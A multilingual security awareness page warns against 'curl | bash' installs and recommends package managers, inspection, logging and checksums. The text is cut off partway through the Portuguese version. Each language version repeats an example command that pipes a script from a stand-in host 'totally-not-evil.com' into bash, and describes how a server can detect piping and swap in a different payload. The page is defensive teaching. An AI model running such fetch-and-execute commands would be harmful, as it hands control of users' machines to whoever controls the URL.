⚠ Security Anti-Pattern

Stop curl | bash

You wouldn't run a stranger's code without reading it. Yet every second developer docs page ends with this command.

The Problem

This is the command in question:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

It downloads a shell script from the internet and immediately executes it. You have no idea what runs. Neither does your team. Neither does your audit log.

Why It’s Bad

  • Bash starts before the download finishes

    The pipe is live. Bash receives and executes lines as they arrive. Drop the connection mid-transfer and you get partial execution: a command like rm -r /usr/share/program can truncate to rm -r /usr. Commands ran, cleanup didn’t.

  • 🎭
    The server knows you’re piping — and can lie

    Servers detect the curl User-Agent or use timing: send a sleep command early in the script — if bash is executing it, pipe reads pause, curl blocks, and the server observes the delay. Confirmed execution. Then serve a different payload. “I’ll read it in the browser first” doesn’t protect you: what you read is not what ran.

  • 🔒
    No integrity verification

    No checksum, no signature. You trust DNS, TLS, the CDN, and the origin simultaneously. A compromised CDN or BGP hijack delivers malware silently.

  • 🔗
    You trust more than you think

    Not just the author. You trust the domain registrar, DNS provider, CDN, hosting, every CI/CD pipeline that built the artifact, and every future maintainer who will ever push to that repo.

  • 📋
    You can’t reproduce what ran

    The URL is live and mutable. No record exists of what exactly executed on your machine — only that something did.

  • 🔑
    Add sudo and it’s game over

    curl ... | sudo bash grants root to whoever controls that URL at that moment. This pattern appears in real published docs. Often.

From the Wild

Real install scripts, analyzed in June 2026. These are not hypothetical threats.

sudo no checksum developer environment manager
Downloaded a binary to /usr/local/bin via sudo with no integrity check. If a required dependency wasn’t present, the script silently pulled in gigabytes of additional tooling. Also followed an undisclosed redirect chain between domains.
live dev branch no checksum cloud coding tool
The install URL silently redirected to a live dev branch on GitHub — no version tags, no pinning. Every commit to that branch changed what users got. What ran yesterday is not what runs today.
no checksum sudo possible open-source AI agent
Pulled in a Python runtime, a JavaScript runtime, and a full headless browser (~300 MB). May invoke sudo to install system packages. After removing the main directory, system-level traces remain.
closed CDN no checksum code assistant from a major hardware vendor
Downloads from a proprietary internal CDN with no public source history and no checksum. There is nothing to audit and no way to verify what you received.

Do This Instead

1. Use a real package manager

The boring option is usually the right one. Package managers handle integrity, updates, and uninstallation.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Download, inspect, then run

One extra step. Gives you a chance to read the script and keeps a local copy for future reference.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Log everything that executes

If you must pipe — record what ran so you can audit or undo later.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Caveat bash -x traces top-level commands only. Subprocesses and sourced scripts won’t appear in the log.

4. Verify the checksum

If the project publishes a SHA-256 hash, use it. Non-negotiable on production machines.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Common Objection

“But I trust the vendor, so it’s fine, right?”

Trusting the vendor is necessary but not sufficient. curl | bash adds attack surface on top of that trust: you also trust DNS, the CDN, the hosting provider, and anyone who might compromise the URL between now and the moment you run it. A package installed through a package manager goes through additional verification layers. The vendor being reputable doesn’t make the delivery mechanism safe.

⚠ Антипаттерн безопасности

Stop curl | bash

Вы бы не запускали чужой код не читая его. Но именно этим заканчивается каждая вторая страница документации.

Проблема

Вот о какой команде речь:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Она скачивает шелл-скрипт из интернета и немедленно его выполняет. Вы понятия не имеете что запускается. И ваша команда тоже. И ваш аудит-лог тоже.

Почему это плохо

  • Bash запускается до завершения загрузки

    Пайп работает в реальном времени. Обрыв соединения на середине — частичное выполнение: rm -r /usr/share/program может усечься до rm -r /usr. Команды отработали, откат — нет.

  • 🎭
    Сервер знает что вы пайпите — и может солгать

    Сервер отправляет sleep в начале скрипта — если bash его выполняет, чтение пайпа паузирует, curl блокируется, сервер видит задержку — факт выполнения подтверждён, дальше — другой пейлоад. «Сначала открою в браузере» не поможет: то что вы прочитали — не то что запустилось.

  • 🔒
    Никакой проверки целостности

    Нет контрольной суммы, нет подписи. Вы одновременно доверяете DNS, TLS, CDN и серверу. Скомпрометированный CDN или BGP-hijack тихо подменяет скрипт.

  • 🔗
    Вы доверяете больше чем думаете

    Не только автору. Вы доверяете регистратору домена, DNS-провайдеру, CDN, хостингу, каждому CI/CD-пайплайну и каждому будущему мейнтейнеру репозитория.

  • 📋
    Вы не можете воспроизвести что запустилось

    URL живой и изменяемый. Никакой записи о том, что именно выполнилось на вашей машине — только факт, что что-то было.

  • 🔑
    Добавьте sudo — и всё кончено

    curl ... | sudo bash отдаёт root тому, кто контролирует этот URL прямо сейчас. Этот паттерн встречается в реальной документации. Часто.

Из жизни

Реальные инсталл-скрипты, проанализированные в июне 2026. Это не гипотетические угрозы.

sudo no checksum developer environment manager
Скачивал бинарь в /usr/local/bin через sudo без проверки целостности. Если нужная зависимость не была установлена — скрипт тихо тянул гигабайты дополнительного тулинга. Также следовал цепочке редиректов между доменами.
live dev branch no checksum cloud coding tool
Инсталл-URL тихо редиректил на живую ветку dev на GitHub — без тегов версий, без пиннинга. Каждый коммит менял то, что получали пользователи. Вчерашний запуск — другой код.
no checksum sudo possible open-source AI agent
Тащил Python runtime, JavaScript runtime и полноценный headless-браузер (~300 МБ). Мог запрашивать sudo для системных пакетов. После удаления основной директории системные следы остаются.
closed CDN no checksum code assistant from a major hardware vendor
Качал с проприетарного внутреннего CDN без публичной истории и без контрольной суммы. Нечего аудитировать, нет способа проверить что вы получили.

Как делать правильно

Используйте нормальный пакетный менеджер

Скучный вариант — обычно правильный. Пакетные менеджеры сами занимаются целостностью, обновлениями и удалением.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

Скачайте, изучите, затем запустите

Один лишний шаг. Дает возможность прочитать скрипт и сохраняет локальную копию для справки.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

Логируйте всё что выполняется

Если уж пайпите — записывайте что запустилось, чтобы потом можно было аудитировать или отменить.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Примечание bash -x traces top-level commands only. Subprocesses and sourced scripts won’t appear in the log.

Проверяйте контрольную сумму

Если проект публикует SHA-256 хэш — используйте его. На продакшн-машинах — не обсуждается.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Частое возражение

«Но я доверяю вендору, значит всё ок?»

Доверия вендору недостаточно. curl | bash добавляет attack surface поверх доверия вендору: вы также доверяете DNS, CDN, хостингу и всем, кто может скомпрометировать URL до момента запуска. Пакет, установленный через пакетный менеджер, проходит дополнительные слои проверки. Репутация вендора не делает механизм доставки безопасным.

⚠ Антипатерн безпеки

Stop curl | bash

Ви б не запускали чужий код не читаючи його. Але саме цим закінчується кожна друга сторінка документації.

Проблема

Ось про яку команду йдеться:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Вона завантажує шелл-скрипт з інтернету і негайно його виконує. Ви не маєте уявлення що запускається. Ваша команда теж. Ваш аудит-лог теж.

Чому це погано

  • Bash запускається до завершення завантаження

    Канал активний. Bash отримує та виконує рядки в міру їх надходження. Перервіть з’єднання посередині передачі — і отримаєте часткове виконання: команда на кшталт rm -r /usr/share/program може скоротитися до rm -r /usr. Команди виконались, прибирання — ні.

  • 🎭
    Сервер знає, що ви використовуєте pipe — і може брехати

    Сервери визначають curl User-Agent або використовують таймінг: надсилають команду sleep на початку скрипту — якщо bash її виконує, зчитування з pipe призупиняється, curl блокується, і сервер фіксує затримку. Виконання підтверджено. Після цього він віддає інший payload. «Я спочатку прочитаю це в браузері» вас не захистить: те, що ви читаєте, — не те, що виконується.

  • 🔒
    Жодної перевірки цілісності

    Ні контрольної суми, ні підпису. Ви одночасно довіряєте DNS, TLS, CDN та джерелу. Скомпрометований CDN або BGP-перехоплення доставлять шкідливе програмне забезпечення непомітно.

  • 🔗
    Ви довіряєте більшому, ніж думаєте

    Не лише автору. Ви довіряєте реєстратору домену, DNS-провайдеру, CDN, хостингу, кожному CI/CD-конвеєру, що зібрав артефакт, і кожному майбутньому супроводжувачу, хто коли-небудь зробить push до цього репозиторію.

  • 📋
    Ви не можете відтворити те, що виконувалось

    URL активний і змінний. Жодного запису про те, що саме виконувалось на вашій машині, не існує — лише факт, що щось виконувалось.

  • 🔑
    Додайте sudo — і це кінець

    curl ... | sudo bash надає права root тому, хто контролює цей URL у конкретний момент. Цей патерн зустрічається в реально опублікованій документації. Часто.

З реального життя

Реальні інсталл-скрипти, проаналізовані у червні 2026. Це не гіпотетичні загрози.

sudo no checksum менеджер середовища розробника
Завантажив бінарник до /usr/local/bin через sudo без перевірки цілісності. Якщо потрібна залежність була відсутня, скрипт мовчки завантажував гігабайти додаткових інструментів. Також слідував нерозкритому ланцюжку переадресацій між доменами.
live dev branch no checksum хмарний інструмент для написання коду
URL для встановлення мовчки переадресовував на live dev branch на GitHub — без тегів версій, без pinning. Кожен коміт до цієї гілки змінював те, що отримували користувачі. Те, що виконувалось учора, — не те, що виконується сьогодні.
no checksum sudo possible відкритий AI-агент
Завантажив Python-рантайм, JavaScript-рантайм і повноцінний headless-браузер (~300 МБ). Може викликати sudo для встановлення системних пакетів. Після видалення основного каталогу системні сліди залишаються.
closed CDN no checksum асистент для коду від великого виробника заліза
Завантажує з пропрієтарного внутрішнього CDN без публічної історії вихідного коду та без контрольної суми. Аудит неможливий, і перевірити отримане не можна.

Як робити правильно

1. Використовуйте справжній пакетний менеджер

Нудний варіант зазвичай правильний. Пакетні менеджери забезпечують цілісність, оновлення та видалення.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Завантажте, перевірте, потім запустіть

Один додатковий крок. Дає можливість прочитати скрипт і зберігає локальну копію для майбутніх довідок.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Логуйте все, що виконується

Якщо вже використовуєте pipe — записуйте, що виконувалось, щоб мати можливість аудиту або відкату.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Примітка bash -x відстежує лише команди верхнього рівня. Дочірні процеси та підключені скрипти в лог не потраплять.

4. Перевіряйте контрольну суму

Якщо проєкт публікує SHA-256-хеш — використовуйте його. Обов’язково на робочих машинах.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Поширене заперечення

«Але я довіряю постачальнику — значить, все гаразд?»

`curl | bash` додає поверхню атаки поверх довіри до постачальника: ви також довіряєте DNS, CDN, хостинг-провайдеру та всім, хто може скомпрометувати URL між моментом публікації та моментом запуску. Пакет, встановлений через пакетний менеджер, проходить додаткові рівні перевірки. Репутація постачальника не робить механізм доставки безпечним.

⚠ Sigurnosni antipattern

Stop curl | bash

Ne biste pokrenuli tuđi kod bez čitanja. Ipak, svaka druga stranica dokumentacije završava ovom komandom.

Problem

Reč je o ovoj komandi:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Preuzima shell skriptu sa interneta i odmah je izvršava. Nemate pojma šta se pokreće. Ni vaš tim. Ni vaš audit log.

Zašto je loše

  • Bash startuje pre nego što preuzimanje završi

    Kanal je aktivan. Bash prima i izvršava linije kako pristižu. Prekinite vezu usred prenosa — i dobijate parcijalno izvršavanje: komanda poput rm -r /usr/share/program može se skratiti na rm -r /usr. Komande su se izvršile, čišćenje nije.

  • 🎭
    Server zna da koristite pipe — i može lagati

    Serveri detektuju curl User-Agent ili koriste tajming: pošalju komandu sleep na početku skripte — ako bash izvršava tu komandu, čitanje iz pipe-a se pauzira, curl blokira, a server primećuje kašnjenje. Izvršavanje potvrdjeno. Zatim servira drugi payload. «Pročitaću to prvo u browseru» ne štiti vas: ono što čitate nije ono što se izvršilo.

  • 🔒
    Nema provere integriteta

    Ni kontrolne sume, ni potpisa. Istovremeno verujete DNS-u, TLS-u, CDN-u i izvoru. Kompromitovani CDN ili BGP otmica dostavlja malver bez ikakvog upozorenja.

  • 🔗
    Verujete više nego što mislite

    Ne samo autoru. Verujete registraru domena, DNS provajderu, CDN-u, hostingu, svakom CI/CD pipeline-u koji je izgradio artefakt, i svakom budućem održavaocu koji ikada bude radio push na taj repozitorijum.

  • 📋
    Ne možete reprodukovati šta se izvršilo

    URL je aktivan i promenljiv. Ne postoji nikakav zapis o tome šta je tačno izvršeno na vašoj mašini — samo da se nešto izvršilo.

  • 🔑
    Dodajte sudo i gotovo je

    curl ... | sudo bash daje root pristup onome ko kontroliše taj URL u tom trenutku. Ovaj obrazac se pojavljuje u stvarno objavljenoj dokumentaciji. Često.

Iz prakse

Realni install skripti, analizirani u junu 2026. Ovo nisu hipotetičke pretnje.

sudo no checksum menadžer razvojnog okruženja
Preuzeo binarni fajl u /usr/local/bin putem sudo bez provere integriteta. Ako potrebna zavisnost nije bila prisutna, skripta je tiho preuzimala gigabajte dodatnih alata. Takodje je pratila neobjavljeni lanac preusmeravanja izmedju domena.
live dev branch no checksum alat za kodiranje u oblaku
URL za instalaciju je tiho preusmeravao na live dev branch na GitHub-u — bez tagova verzija, bez pin-ovanja. Svaki komit na tu granu menjao je ono šta korisnici dobijaju. Ono što se izvršilo juče nije ono što se izvršava danas.
no checksum sudo possible open-source AI agent
Preuzeo Python runtime, JavaScript runtime i potpuni headless browser (~300 MB). Može pozvati sudo za instalaciju sistemskih paketa. Nakon uklanjanja glavnog direktorijuma, sistemski tragovi ostaju.
closed CDN no checksum asistent za kod od poznatog proizvodjača hardvera
Preuzima sa vlasničkog internog CDN-a bez javne istorije izvornog koda i bez kontrolne sume. Nema ničega šta se može auditovati i nema načina da se proveri šta ste primili.

Uradite ovo umesto toga

1. Koristite pravi menadžer paketa

Dosadna opcija je obično ispravna. Menadžeri paketa se brinu o integritetu, ažuriranjima i deinstalaciji.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Preuzmite, pregledajte, pa pokrenite

Jedan korak više. Daje vam šansu da pročitate skriptu i čuva lokalnu kopiju za buduću referencu.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Beležite sve što se izvršava

Ako već morate koristiti pipe — snimite šta se izvršilo kako biste mogli da vršite audit ili vraćanje promena.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Napomena bash -x prati samo komande na najvišem nivou. Podprocesi i učitane skripte neće se pojaviti u logu.

4. Proverite kontrolnu sumu

Ako projekat objavljuje SHA-256 heš, koristite ga. Neophodno na produkcijskim mašinama.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Uobičajen prigovor

«Ali verujem prodavcu, znači sve je u redu, zar ne?»

Verovati prodavcu je neophodno, ali nije dovoljno. `curl | bash` dodaje napadnu površinu na vrh tog poverenja: takodje verujete DNS-u, CDN-u, hosting provajderu i svima koji bi mogli kompromitovati URL izmedju trenutka objavljivanja i trenutka pokretanja. Paket instaliran putem menadžera paketa prolazi kroz dodatne slojeve verifikacije. Reputacija prodavca ne čini mehanizam isporuke bezbednim.

⚠ Antipattern de sécurité

Stop curl | bash

Vous ne lanceriez pas le code d’un inconnu sans le lire. Pourtant, c’est exactement ce que propose une doc sur deux.

Le problème

Voici la commande en question :

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Elle télécharge un script shell depuis internet et l’exécute immédiatement. Vous ignorez ce qui tourne. Votre équipe aussi. Votre journal d’audit aussi.

Pourquoi c’est dangereux

  • Bash démarre avant la fin du téléchargement

    Le tube est actif. Bash reçoit et exécute les lignes au fur et à mesure. Coupez la connexion en plein transfert: une commande comme rm -r /usr/share/program peut être tronquée en rm -r /usr. Les commandes ont été exécutées, le nettoyage, non.

  • 🎭
    Le serveur sait que vous utilisez un tube — et peut mentir

    Les serveurs détectent le User-Agent de curl ou utilisent le timing: envoyer une commande sleep en début de script — si bash l’exécute, les lectures du tube marquent une pause, curl se bloque, et le serveur observe le délai. Exécution confirmée. Ensuite, il sert un payload différent. «Je vais d’abord le lire dans le navigateur» ne vous protège pas: ce que vous lisez n’est pas ce qui s’est exécuté.

  • 🔒
    Aucune vérification d’intégrité

    Ni somme de contrôle, ni signature. Vous faites confiance simultanément au DNS, au TLS, au CDN et à l’origine. Un CDN compromis ou un détournement BGP livre silencieusement des logiciels malveillants.

  • 🔗
    Vous faites confiance à plus que vous ne le pensez

    Pas seulement à l’auteur. Vous faites confiance au registrar de domaine, au fournisseur DNS, au CDN, à l’hébergement, à chaque pipeline CI/CD qui a construit l’artefact, et à chaque futur mainteneur qui poussera un jour sur ce dépôt.

  • 📋
    Vous ne pouvez pas reproduire ce qui s’est exécuté

    L’URL est active et mutable. Il n’existe aucune trace de ce qui s’est exactement exécuté sur votre machine — seulement que quelque chose l’a fait.

  • 🔑
    Ajoutez sudo et c’est terminé

    curl ... | sudo bash accorde les droits root à quiconque contrôle cette URL à cet instant. Ce schéma apparaît dans de vraies documentations publiées. Souvent.

Cas réels

Scripts d’installation réels, analysés en juin 2026. Ce ne sont pas des menaces hypothétiques.

sudo no checksum gestionnaire d’environnement développeur
Télécharge un binaire dans /usr/local/bin via sudo sans vérification d’intégrité. Si une dépendance requise était absente, le script téléchargeait silencieusement des gigaoctets d’outils supplémentaires. Il suivait également une chaîne de redirections non divulguée entre domaines.
live dev branch no checksum outil de développement dans le cloud
L’URL d’installation redirige silencieusement vers une branche de développement active sur GitHub — sans tag de version, sans épinglage. Chaque commit sur cette branche modifiait ce que les utilisateurs recevaient. Ce qui s’est exécuté hier n’est pas ce qui s’exécute aujourd’hui.
no checksum sudo possible agent IA open-source
Télécharge un environnement d’exécution Python, un environnement JavaScript et un navigateur headless complet (~300 Mo). Peut invoquer sudo pour installer des paquets système. Après suppression du répertoire principal, des traces au niveau système subsistent.
closed CDN no checksum assistant de code d’un grand fabricant de matériel
Télécharge depuis un CDN interne propriétaire sans historique de sources public et sans somme de contrôle. Il n’y a rien à auditer et aucun moyen de vérifier ce que vous avez reçu.

Faites plutôt ça

1. Utiliser un vrai gestionnaire de paquets

L’option ennuyeuse est généralement la bonne. Les gestionnaires de paquets gèrent l’intégrité, les mises à jour et la désinstallation.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Télécharger, inspecter, puis exécuter

Une étape supplémentaire. Vous donne l’occasion de lire le script et conserve une copie locale pour référence ultérieure.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Journaliser tout ce qui s’exécute

Si vous devez utiliser un tube — enregistrez ce qui s’est exécuté afin de pouvoir auditer ou annuler plus tard.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Attention bash -x ne trace que les commandes de premier niveau. Les sous-processus et les scripts sourceés n’apparaîtront pas dans le journal.

4. Vérifier la somme de contrôle

Si le projet publie un hachage SHA-256, utilisez-le. Non négociable sur les machines de production.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Objection courante

«Mais je fais confiance au fournisseur, donc c’est bon, non ?»

Faire confiance au fournisseur est nécessaire mais pas suffisant. `curl | bash` ajoute une surface d’attaque par-dessus cette confiance: vous faites également confiance au DNS, au CDN, à l’hébergeur, et à quiconque pourrait compromettre l’URL entre maintenant et le moment où vous l’exécutez. Un paquet installé via un gestionnaire de paquets passe par des couches de vérification supplémentaires. La réputation du fournisseur ne rend pas le mécanisme de livraison sûr.

⚠ Sicherheits-Antipattern

Stop curl | bash

Ihr würdet den Code eines Fremden nicht ausführen, ohne ihn zu lesen. Trotzdem endet jede zweite Dokumentationsseite mit diesem Befehl.

Das Problem

Um diesen Befehl geht es:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Er lädt ein Shell-Skript aus dem Internet herunter und führt es sofort aus. Ihr habt keine Ahnung was läuft. Euer Team auch nicht. Euer Audit-Log auch nicht.

Warum es gefährlich ist

  • Bash startet, bevor der Download abgeschlossen ist

    Die Pipe ist live. Bash empfängt und führt Zeilen aus, sobald sie ankommen. Wird die Verbindung mitten im Transfer getrennt, kommt es zu partieller Ausführung: ein Befehl wie rm -r /usr/share/program kann zu rm -r /usr abgeschnitten werden. Befehle wurden ausgeführt, die Bereinigung nicht.

  • 🎭
    Der Server weiß, dass Sie eine Pipe verwenden — und kann lügen

    Server erkennen den curl User-Agent oder nutzen Timing: ein sleep-Befehl wird früh im Skript gesendet — wenn bash ihn ausführt, pausieren Pipe-Lesevorgänge, curl blockiert, und der Server beobachtet die Verzögerung. Ausführung bestätigt. Dann wird ein anderer Payload geliefert. „Ich lese es zuerst im Browser“ schützt Sie nicht: was Sie lesen, ist nicht das, was ausgeführt wurde.

  • 🔒
    Keine Integritätsprüfung

    Keine Prüfsumme, keine Signatur. Sie vertrauen gleichzeitig DNS, TLS, dem CDN und dem Ursprungsserver. Ein kompromittiertes CDN oder ein BGP-Hijack liefert lautlos Schadsoftware.

  • 🔗
    Sie vertrauen mehr als Sie denken

    Nicht nur dem Autor. Sie vertrauen dem Domain-Registrar, dem DNS-Anbieter, dem CDN, dem Hosting, jeder CI/CD-Pipeline, die das Artefakt gebaut hat, und jedem zukünftigen Maintainer, der jemals in dieses Repository pushen wird.

  • 📋
    Sie können nicht reproduzieren, was ausgeführt wurde

    Die URL ist live und veränderlich. Es gibt keine Aufzeichnung darüber, was genau auf Ihrem System ausgeführt wurde — nur dass irgendetwas ausgeführt wurde.

  • 🔑
    sudo hinzufügen und das Spiel ist aus

    curl ... | sudo bash gewährt Root-Rechte an jeden, der diese URL in diesem Moment kontrolliert. Dieses Muster taucht in real veröffentlichten Dokumentationen auf. Häufig.

Aus der Praxis

Echte Install-Skripte, analysiert im Juni 2026. Das sind keine hypothetischen Bedrohungen.

sudo no checksum Entwicklungsumgebungs-Manager
Lädt eine Binärdatei nach /usr/local/bin via sudo ohne Integritätsprüfung herunter. War eine erforderliche Abhängigkeit nicht vorhanden, zog das Skript still Gigabytes zusätzlicher Werkzeuge nach. Folgte außerdem einer nicht offengelegten Weiterleitungskette zwischen Domains.
live dev branch no checksum Cloud-Entwicklungswerkzeug
Die Installations-URL leitete still auf einen live Dev-Branch auf GitHub um — keine Versions-Tags, kein Pinning. Jeder Commit auf diesen Branch veränderte, was Nutzer erhielten. Was gestern ausgeführt wurde, ist nicht das, was heute ausgeführt wird.
no checksum sudo possible quelloffener KI-Agent
Lädt eine Python-Laufzeitumgebung, eine JavaScript-Laufzeitumgebung und einen vollständigen Headless-Browser herunter (~300 MB). Kann sudo aufrufen, um Systempakete zu installieren. Nach dem Entfernen des Hauptverzeichnisses verbleiben Spuren auf Systemebene.
closed CDN no checksum Code-Assistent eines großen Hardware-Herstellers
Lädt von einem proprietären internen CDN ohne öffentlichen Quellverlauf und ohne Prüfsumme herunter. Es gibt nichts zu prüfen und keine Möglichkeit zu verifizieren, was empfangen wurde.

Besser so machen

1. Einen echten Paketmanager verwenden

Die langweilige Option ist meist die richtige. Paketmanager kümmern sich um Integrität, Updates und Deinstallation.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Herunterladen, prüfen, dann ausführen

Ein zusätzlicher Schritt. Gibt Ihnen die Möglichkeit, das Skript zu lesen, und behält eine lokale Kopie für spätere Referenz.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Alles protokollieren, was ausgeführt wird

Wenn Sie eine Pipe verwenden müssen — zeichnen Sie auf, was ausgeführt wurde, damit Sie später prüfen oder rückgängig machen können.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Hinweis bash -x protokolliert nur Befehle der obersten Ebene. Unterprozesse und eingebundene Skripte erscheinen nicht im Protokoll.

4. Die Prüfsumme verifizieren

Wenn das Projekt einen SHA-256-Hash veröffentlicht, verwenden Sie ihn. Auf Produktivmaschinen nicht verhandelbar.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Häufiger Einwand

„Aber ich vertraue dem Anbieter, also ist es doch in Ordnung, oder?“

Dem Anbieter zu vertrauen ist notwendig, aber nicht hinreichend. `curl | bash` fügt zusätzliche Angriffsfläche auf dieses Vertrauen auf: Sie vertrauen außerdem DNS, dem CDN, dem Hosting-Anbieter und jedem, der die URL zwischen jetzt und dem Moment Ihrer Ausführung kompromittieren könnte. Ein über einen Paketmanager installiertes Paket durchläuft zusätzliche Verifizierungsschichten. Die Reputation des Anbieters macht den Liefermechanismus nicht sicher.

⚠ Antipatrón de seguridad

Stop curl | bash

No ejecutarías el código de un extraño sin leerlo. Sin embargo, cada segunda página de documentación termina con este comando.

El problema

Este es el comando en cuestión:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Descarga un script de shell desde internet y lo ejecuta inmediatamente. No tienes idea de qué se ejecuta. Tu equipo tampoco. Tu registro de auditoría tampoco.

Por qué es peligroso

  • Bash empieza antes de que termine la descarga

    La tubería está activa. Bash recibe y ejecuta líneas según van llegando. Interrumpe la conexión a mitad de la transferencia: un comando como rm -r /usr/share/program puede truncarse a rm -r /usr. Los comandos se ejecutaron, la limpieza no.

  • 🎭
    El servidor sabe que estás usando una tubería — y puede mentirte

    Los servidores detectan el User-Agent de curl o usan temporización: envían un comando sleep al principio del script — si bash lo está ejecutando, la lectura de la tubería se pausa, curl se bloquea y el servidor observa el retraso. Ejecución confirmada. Luego sirven una carga diferente. «Primero lo leeré en el navegador» no te protege: lo que lees no es lo que se ejecutó.

  • 🔒
    Sin verificación de integridad

    Sin suma de comprobación, sin firma. Confías en DNS, TLS, el CDN y el origen simultáneamente. Un CDN comprometido o un secuestro BGP entrega malware en silencio.

  • 🔗
    Confías en más de lo que crees

    No solo en el autor. Confías en el registrador de dominio, el proveedor de DNS, el CDN, el alojamiento, cada pipeline de CI/CD que construyó el artefacto, y cada futuro mantenedor que alguna vez haga push a ese repositorio.

  • 📋
    No puedes reproducir lo que se ejecutó

    La URL está activa y es mutable. No existe ningún registro de qué se ejecutó exactamente en tu máquina — solo que algo lo hizo.

  • 🔑
    Añade sudo y todo está perdido

    curl ... | sudo bash concede acceso root a quien controle esa URL en ese momento. Este patrón aparece en documentación real publicada. Con frecuencia.

Casos reales

Scripts de instalación reales, analizados en junio de 2026. No son amenazas hipotéticas.

sudo no checksum gestor de entornos de desarrollo
Descargó un binario en /usr/local/bin mediante sudo sin verificación de integridad. Si alguna dependencia requerida no estaba presente, el script descargaba silenciosamente gigabytes de herramientas adicionales. También seguía una cadena de redirecciones no revelada entre dominios.
live dev branch no checksum herramienta de codificación en la nube
La URL de instalación redirigía silenciosamente a una rama de desarrollo activa en GitHub — sin etiquetas de versión, sin anclaje. Cada commit en esa rama cambiaba lo que recíbían los usuarios. Lo que se ejecutó ayer no es lo que se ejecuta hoy.
no checksum sudo possible agente de IA de código abierto
Descargó un entorno de ejecución de Python, uno de JavaScript y un navegador sin interfaz gráfica completo (~300 MB). Puede invocar sudo para instalar paquetes del sistema. Tras eliminar el directorio principal, permanecen rastros a nivel del sistema.
closed CDN no checksum asistente de código de un importante fabricante de hardware
Descarga desde un CDN interno propietario sin historial de fuente pública y sin suma de comprobación. No hay nada que auditar ni forma de verificar lo que recibiste.

Haz esto en su lugar

1. Usa un gestor de paquetes real

La opción aburrida suele ser la correcta. Los gestores de paquetes gestionan la integridad, las actualizaciones y la desinstalación.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Descarga, inspecciona y luego ejecuta

Un paso extra. Te da la oportunidad de leer el script y conserva una copia local para consultas futuras.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Registra todo lo que se ejecuta

Si tienes que usar una tubería — registra lo que se ejecutó para poder auditarlo o deshacerlo después.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Nota bash -x registra solo los comandos de nivel superior. Los subprocesos y los scripts incluidos con source no aparecerán en el registro.

4. Verifica la suma de comprobación

Si el proyecto publica un hash SHA-256, úsalo. Innegociable en máquinas de producción.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Objeción habitual

«Pero confío en el proveedor, así que está bien, ¿verdad?»

Confiar en el proveedor es necesario pero no suficiente. `curl | bash` añade superficie de ataque sobre esa confianza: también confías en DNS, el CDN, el proveedor de alojamiento y cualquiera que pueda comprometer la URL entre ahora y el momento en que la ejecutes. Un paquete instalado a través de un gestor de paquetes pasa por capas de verificación adicionales. Que el proveedor sea reputado no hace que el mecanismo de entrega sea seguro.

⚠ Antipadrão de segurança

Stop curl | bash

Você não executaria o código de um estranho sem ler. No entanto, cada segunda página de documentação termina com este comando.

O problema

Este é o comando em questão:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Ele baixa um script shell da internet e o executa imediatamente. Você não tem ideia do que roda. Sua equipe também não. Seu log de auditoria também não.

Por que é perigoso

  • O Bash começa antes de a transferência terminar

    O pipe está ativo. O Bash recebe e executa linhas conforme chegam. Interrompa a conexão no meio da transferência: um comando como rm -r /usr/share/program pode ser truncado para rm -r /usr. Os comandos foram executados, a limpeza não.

  • 🎭
    O servidor sabe que você está usando pipe — e pode mentir

